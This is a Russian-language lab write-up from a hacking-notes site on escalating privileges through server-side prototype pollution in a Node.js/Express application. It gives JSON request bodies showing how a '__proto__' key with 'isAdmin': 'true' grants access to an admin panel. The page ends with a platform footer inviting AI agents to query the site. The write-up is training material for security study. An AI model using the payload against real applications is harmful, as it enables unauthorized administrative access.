> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/prototype-pollution/privilege-escalation-via-server-side-prototype-pollution.md).

# Повышение привилегий через прототипное загрязнение на стороне сервера

### Повышение привилегий через прототипное загрязнение на стороне сервера

#### Контекст лабораторной работы

Приложение (Node.js + Express) **Объединяет управляемый пользователем JSON-объект** в серверном объекте JavaScript, **без фильтрации** опасные ключи, такие как `__proto__`. / В результате мы можем **загрязнить `Object.prototype`** и внедрять свойства, которые будут унаследованы другими объектами.

В этом лабораторном задании это легко заметить, потому что **свойства, унаследованные через цепочку прототипов, снова появляются в HTTP-ответе**.

<figure><img src="/files/2dd1096a1a9a108950a147a47db2f62c96698eb2" alt=""><figcaption></figcaption></figure>

### 1) Точка входа (источник): JSON-запрос на обновление адреса

**Анализ запроса**

При обновлении адреса пользователя приложение в фоновом режиме отправляет следующий JSON-запрос:

{% code overflow="wrap" %}

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "WTgq2JXh1WaH4oRdDbqX28gKv8stV3rE"
}
```

{% endcode %}

Ответ сервера содержит информацию о пользователе, включая чувствительное поле:

```json
{
  "username": "wiener",
  "firstname": "Peter",
  "lastname": "Wiener",
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "isAdmin": false
}
```

**Выявление уязвимости**

Добавление специального `__proto__` ключа в тело JSON:

```json
"__proto__":  {
"foo":"bar"}
```

Ответ сервера отражает `foo` свойство.

```json
"foo":"bar"
}
```

Это подтверждает, что:

* Сервер \*\* напрямую объединяет объект пользователя\*\*
* **загрязнение глобального прототипа (`Object.prototype`) возможно**
* Унаследованные свойства видны и могут быть использованы

<figure><img src="/files/5002ae5ea63de67736004a98db192d3e2e7cfe22" alt=""><figcaption></figcaption></figure>

**Операция: повышение привилегий**

Интересное свойство здесь — `isAdmin`, используемое приложением для определения привилегий.

Затем это свойство внедряется в глобальный прототип:

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "WTgq2JXh1WaH4oRdDbqX28gKv8stV3rE",
  "__proto__": {
    "isAdmin": "true"
  }
}
```

**Результат**

* У `isAdmin` свойство теперь наследуется из `Object.prototype`
* Во время проверок авторизации приложение считает пользователя \*\*администратором\*\*

<figure><img src="/files/f0ffc527736c98c687dbc8968e3b1c217f2bffdf" alt=""><figcaption></figcaption></figure>

* Доступ к `/admin` панели

<figure><img src="/files/7c68db7d722f098edbe4f7d39a607e2e311ad224" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/prototype-pollution/privilege-escalation-via-server-side-prototype-pollution.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
